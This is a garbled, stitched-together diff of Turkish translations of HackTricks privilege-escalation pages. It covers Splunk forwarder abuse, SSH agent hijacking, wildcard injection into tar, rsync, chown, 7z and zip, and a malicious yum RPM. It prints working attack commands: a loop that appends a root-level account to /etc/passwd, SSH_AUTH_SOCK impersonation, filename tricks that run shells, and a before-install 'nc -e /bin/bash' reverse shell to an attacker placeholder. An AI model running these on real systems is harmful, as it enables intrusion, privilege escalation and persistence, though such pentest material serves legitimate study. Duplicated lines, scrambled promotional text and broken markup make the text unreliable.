* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
Bir makineyi **içeriden** veya **dışarıdan** **numaralandırırken** (port 8090) **Splunk çalışıyorsa**, şans eseri **geçerli kimlik bilgileri** biliyorsanız, Splunk hizmetini **kullanarak Splunk'ı çalıştıran kullanıcı olarak bir kabuk** çalıştırabilirsiniz. Eğer root çalışıyorsa, ayrıcalıkları root'a yükseltebilirsiniz.
Eğer bir makineyi **içten** veya **dıştan** **numaralandırıyorsanız** ve **Splunk çalışıyorsa** (port 8090), şansınız varsa herhangi bir **geçerli kimlik bilgisi** biliyorsanız, **Splunk hizmetini kötüye kullanarak** Splunk'ı çalıştıran kullanıcı olarak **bir shell çalıştırabilirsiniz**. Eğer root çalışıyorsa, yetkileri root'a yükseltebilirsiniz.
Ayrıca, **zaten root kullanıcısıysanız ve Splunk hizmeti yalnızca localhost'ta dinlemiyorsa**, Splunk hizmetinden **parola** dosyasını **çalabilir** ve parolaları **kırmaya** veya **yeni kimlik bilgileri eklemeye** çalışabilirsiniz. Ve ana bilgisayarda kalıcılığı sürdürebilirsiniz.
Ayrıca eğer **zaten root iseniz ve Splunk hizmeti yalnızca localhost'ta dinlemiyorsa**, Splunk hizmetinden **şifre** dosyasını **çalıp** şifreleri **kırabilir** veya **yeni** kimlik bilgileri ekleyebilirsiniz. Ve host üzerinde sürekliliği sürdürebilirsiniz.
Aşağıdaki ilk resimde, bir Splunkd web sayfasının nasıl göründüğünü görebilirsiniz.
## Splunk Universal Forwarder Agent İstismar Özeti
Daha fazla detay için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisini kontrol edin. Bu sadece bir özet:
## Splunk Universal Forwarder Agent Exploit Özeti
Daha fazla ayrıntı için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisine bakın. Bu sadece bir özet:
**Exploit Genel Bakış:**
Splunk Universal Forwarder Agent (UF) hedef alan bir exploit, ajan parolasına sahip saldırganların ajanı çalıştıran sistemlerde keyfi kod çalıştırmasına izin vererek, tüm bir ağı tehlikeye atabilir.
**İstismar Genel Görünümü:**
Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine sahip saldırganların ajanı çalıştıran sistemlerde rastgele kod çalıştırmasına olanak tanır ve potansiyel olarak tüm bir ağı tehlikeye atabilir.
**Ana Noktalar:**
- UF ajanı, gelen bağlantıları veya kodun otantikliğini doğrulamaz, bu da yetkisiz kod çalıştırmasına karşı savunmasız hale getirir.
- Ortak parola edinme yöntemleri, ağ dizinlerinde, dosya paylaşımlarında veya iç belgelerde bulunmalarını içerir.
- Başarılı bir saldırı, kompromize edilen ana bilgisayarlarda SYSTEM veya root düzeyinde erişim, veri sızdırma ve daha fazla ağ sızma ile sonuçlanabilir.
- UF ajanı gelen bağlantıları veya kodun doğruluğunu doğrulamaz, bu da yetkisiz kod çalıştırmaya karşı savunmasız hale getirir.
- Yaygın şifre edinme yöntemleri, bunları ağ dizinlerinde, dosya paylaşımlarında veya iç belgelerde bulmayı içerir.
- Başarılı bir istismar, tehlikeye atılan hostlarda SYSTEM veya root düzeyinde erişim, veri sızdırma ve daha fazla ağ sızması ile sonuçlanabilir.
**Exploit Yürütme:**
1. Saldırgan UF ajan parolasını elde eder.
2. Splunk API'sini kullanarak komut veya betikleri ajanlara gönderir.
3. Olası eylemler arasında dosya çıkarma, kullanıcı hesabı manipülasyonu ve sistem tehlikeye atma bulunur.
**İstismar Uygulaması:**
1. Saldırgan UF ajan şifresini elde eder.
2. Ajanlara komut veya betik göndermek için Splunk API'sini kullanır.
3. Olası eylemler arasında dosya çıkarma, kullanıcı hesabı manipülasyonu ve sistemin tehlikeye atılması yer alır.
**Etki:**
- Her bir ana bilgisayarda SYSTEM/root düzeyinde izinlerle tam ağ tehlikeye atma.
- Algılanmayı önlemek için günlüğü devre dışı bırakma potansiyeli.
- Arka kapı veya fidye yazılımı kurulumu.
**Etkisi:**
- Her hostta SYSTEM/root düzeyinde izinlerle tam ağ tehlikesi.
- Tespiti önlemek için günlük kaydını devre dışı bırakma potansiyeli.
- Arka kapılar veya fidye yazılımlarının kurulumu.
**Exploit için Örnek Komut:**
**İstismar için Örnek Komut:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Kullanılabilir halka açık zafiyetler:**
**Kullanılabilir kamu exploitleri:**
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
* https://www.exploit-db.com/exploits/46238
* https://www.exploit-db.com/exploits/46487
## Splunk Sorgularını Kötüye Kullanma
## Splunk Sorgularının Suistimali
**Daha fazla ayrıntı için [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis) adresindeki yazıyı kontrol edin.**
**Daha fazla detay için [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis) gönderisini kontrol edin**
**CVE-2023-46214**, bir **script**'in **`$SPLUNK_HOME/bin/scripts`** dizinine yüklenmesine izin veriyordu ve ardından **`|runshellscript script_name.sh`** arama sorgusu kullanarak orada depolanan **script**'in **çalıştırılabilmesini**ıkladı.
{% h*nt styCe="Vacceas" %}
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
<dtil>
<details>
<ummr>SupportHackTricks</smmay>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
*Chek th [**subsrippangithub.cm/sorsarlosp!
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,53 +1,59 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
# Özet
`/etc/ssh_config` veya `$HOME/.ssh/config` dosyasının içinde şunu keşfederseniz ne yapabilirsiniz:
`/etc/ssh_config` veya `$HOME/.ssh/config` içinde bu yapılandırmayı keşfettiğinizde ne yapabilirsiniz:
```
ForwardAgent yes
```
Eğer makinede root yetkisine sahipseniz, muhtemelen _/tmp_ dizininde bulunan herhangi bir ajan tarafından yapılan herhangi bir ssh bağlantısına **erişebilirsiniz**.
Eğer makinenin kök kullanıcıysanız, muhtemelen _/tmp_ dizininde bulabileceğiniz herhangi bir ajan tarafından yapılan **herhangi bir ssh bağlantısına erişebilirsiniz**.
Bob'un ssh-agent'larından birini kullanarak Bob'u taklit etmek:
Bob'un ssh-agent'ını kullanarak Bob'u taklit et:
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## Neden işe yarıyor?
## Neden bu işe yarıyor?
`SSH_AUTH_SOCK` değişkenini ayarladığınızda, Bob'un ssh bağlantısında kullanılan anahtarlarına erişiyorsunuz. Ardından, özel anahtarı hala oradaysa (genellikle öyle olur), onu kullanarak herhangi bir ana bilgisayara erişebilirsiniz.
`SSH_AUTH_SOCK` değişkenini ayarladığınızda, Bob'un ssh bağlantısında kullanılan anahtarlarına erişiyorsunuz. Ardından, eğer özel anahtarı hala oradaysa (normalde orada olacaktır), onu kullanarak herhangi bir hosta erişebileceksiniz.
Özel anahtar, ajanın belleğinde şifresiz olarak kaydedildiği için, Bob olabilirsiniz ancak özel anahtarın şifresini bilmiyorsanız bile ajanı hala erişebilir ve kullanabilirsiniz.
Özel anahtar, ajan belleğinde şifrelenmemiş olarak saklandığı için, eğer Bob iseniz ama özel anahtarın şifresini bilmiyorsanız, yine de ajana erişebilir ve onu kullanabilirsiniz.
Başka bir seçenek ise, ajanın sahibi kullanıcı ve kökün, ajanın belleğine erişebilerek özel anahtarı çıkarabilmesidir.
Başka bir seçenek, ajanın sahibi olan kullanıcının ve root'un ajanın belleğine erişip özel anahtarı çıkarması olabilir.
# Uzun açıklama ve sömürü
**Orijinal araştırmayı [buradan](https://www.clockwork.com/insights/ssh-agent-hijacking/) kontrol edin**
# Uzun açıklama ve istismar
**[Orijinal araştırmayı buradan kontrol edin](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,40 +1,44 @@
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<dotsilp>
HackTricks'ı desteklemenin diğer yolları:
<oummpr>SupportHackTricks</smmay>
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## chown, chmod
**Diğer dosyalar için hangi dosya sahibi ve izinlerini kopyalamak istediğinizi belirtebilirsiniz**
**Hangi dosya sahibini ve izinlerini diğer dosyalar için kopyalamak istediğinizi belirtebilirsiniz.**
```bash
touch "--reference=/my/own/path/filename"
```
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(kombine saldırı)_ kullanarak sömürülebilir.\
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Keyfi komutları çalıştır:**
**Rasgele komutlar çalıştırın:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) kullanarak sömürülebilir _(tar saldırısı)_\
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar saldırısı)_ kullanılarak istismar edilebilir.\
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) adresine bakın.
## Rsync
**Keyfi komutları çalıştır:**
**Rasgele komutlar çalıştırın:**
```bash
Interesting rsync option from manual:
@ -45,41 +49,49 @@ Interesting rsync option from manual:
```bash
touch "-e sh shell.sh"
```
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) kullanarak sömürülebilir. _(_rsync _attack)_\
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
Bu, [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_ kullanılarak istismar edilebilir.\
Daha fazla bilgi için [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) adresine bakın.
## 7z
**7z**'de, `*`'den önce `--` kullanarak (not: `--`, takip eden girişin parametre olarak işleme alınamayacağı anlamına gelir, bu durumda sadece dosya yolları) bir dosyayı okumak için keyfi bir hata oluşturabilirsiniz. Bu durumda root tarafından aşağıdaki gibi bir komut çalıştırılıyorsa:
**7z** içinde `--` kullanarak `*`'dan önce (not: `--` sonraki girdinin parametre olarak işlenemeyeceği anlamına gelir, bu durumda sadece dosya yolları) rastgele bir hatanın bir dosyayı okumasına neden olabilirsiniz, bu nedenle aşağıdaki gibi bir komut root tarafından çalıştırılıyorsa:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
Ve bu yürütülen klasörde dosyalar oluşturabilirsiniz, `@root.txt` dosyasını ve `root.txt` dosyasını oluşturabilirsiniz, bu dosya istediğiniz dosyanın bir **sembolik bağlantısı** olabilir:
Ve bu işlemin gerçekleştirildiği klasörde dosyalar oluşturabilirsiniz, `@root.txt` dosyasını ve okumak istediğiniz dosyaya **symlink** olan `root.txt` dosyasını oluşturabilirsiniz:
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
Ardından, **7z** çalıştırıldığında, `root.txt`'yi sıkıştırması gereken dosyaların listesini içeren bir dosya olarak işleyecektir (`@root.txt`'nin varlığı bunu gösterir) ve 7z `root.txt`'yi okuduğunda `/file/you/want/to/read`'i okuyacak ve **bu dosyanın içeriği bir dosya listesi olmadığı için bir hata fırlatacaktır** ve içeriği gösterecektir.
Sonra, **7z** çalıştırıldığında, `root.txt` dosyasını sıkıştırması gereken dosyaların listesini içeren bir dosya olarak ele alacaktır (bu, `@root.txt` varlığının gösterdiği şeydir) ve 7z `root.txt` dosyasını okuduğunda `/file/you/want/to/read` dosyasını okuyacak ve **bu dosyanın içeriği bir dosya listesi olmadığından, bir hata verecektir** içeriği göstererek.
_Daha fazla bilgi için HackTheBox'tan CTF kutusu Write-up'larında._
_HackTheBox'tan CTF kutusunun yazılımlarında daha fazla bilgi._
## Zip
**Keyfi komutları çalıştırma:**
**Rasgele komutlar çalıştır:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
```markdown
{% hnt stye="acceas" %}
AWS Hacking Pratikleri:<img src="/.gitbook/assets/aite.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Deneyimi (ARTE)**](https://github.com/carlospolop/hacktricks) <img src="/.gitbook/assets/k.png" alt="" data-size="line">\
GCP Hacking Pratikleri<img src="/.gitbook/assets/gte.png" alt="" data-size="line">[**GCP Kırmızı Takım Deneyimi (GE)**](https://github.com/carlospolop/hacktricks)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**GitHub'da abonelik planlarını kontrol edin**](https://github.com/sponsors/carlospolop)!
* [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**Telegram grubuna**](https://t.me/peass) katılın ya da **bizi Twitter'da takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub reposuna PR gönderin.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
```

View file

@ -1,55 +1,87 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **katkıda bulunun**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
Yum ile ilgili daha fazla örnek [gtfobins](https://gtfobins.github.io/gtfobins/yum/) adresinde bulunabilir.
Yum ile ilgili daha fazla örneği [gtfobins](https://gtfobins.github.io/gtfobins/yum/) adresinde bulabilirsiniz.
# RPM Paketleri Aracılığıyla Keyfi Komut Yürütme
# RPM Paketleri aracılığıyla rastgele komutlar çalıştırma
## Ortamı Kontrol Etme
Bu vektörü kullanabilmek için kullanıcının yum komutlarını daha yüksek bir yetkili kullanıcı olarak, yani root olarak çalıştırabilmesi gerekmektedir.
Bu vektörü kullanabilmek için kullanıcının yum komutlarını daha yüksek ayrıcalıklara sahip bir kullanıcı olarak, yani root olarak çalıştırabilmesi gerekir.
### Bu vektörün çalışan bir örneği
Bu saldırının çalışan bir örneği [tryhackme](https://tryhackme.com) üzerindeki [daily bugle](https://tryhackme.com/room/dailybugle) odasında bulunabilir.
Bu ığın çalışan bir örneği [tryhackme](https://tryhackme.com) platformundaki [daily bugle](https://tryhackme.com/room/dailybugle) odasında bulunabilir.
## Bir RPM Paketi Oluşturma
Aşağıdaki bölümde, [fpm](https://github.com/jordansissel/fpm) kullanarak bir ters kabuk içeren bir RPM paketi oluşturmayı ele alacağım.
## RPM Paketleme
Aşağıdaki bölümde, [fpm](https://github.com/jordansissel/fpm) kullanarak bir ters shell'i RPM içine paketlemeyi ele alacağım.
Aşağıdaki örnek, saldırgan tarafından tanımlanabilen keyfi bir komutu yürüten bir before-install tetikleyici içeren bir paket oluşturur. Bu paket yüklendiğinde, keyfi komutu yürütür. Ben basit bir ters netcat kabuk örneği kullandım, ancak gerektiğinde değiştirilebilir.
Aşağıdaki örnek, saldırgan tarafından tanımlanabilecek rastgele bir betik ile bir ön yükleme tetikleyicisi içeren bir paket oluşturur. Bu paket yüklendiğinde, rastgele komutu çalıştıracaktır. Gösterim için basit bir ters netcat shell örneği kullandım, ancak bu gerektiği gibi değiştirilebilir.
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# Bir kabuk yakalama
Yukarıdaki örneği kullanarak ve `yum`'un daha yüksek bir ayrıcalıklı kullanıcı olarak çalıştırılabileceğini varsayarak.
1. Rpm'yi ana bilgisayara **aktarın**.
2. [Örnek netcat dinleyicisi](/shells/shells/linux#netcat) gibi yerel ana bilgisayarınızda bir dinleyici **başlatın**.
3. Zafiyetli paketi `yum localinstall -y exploited-1.0-1.noarch.rpm` ile **kurun**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
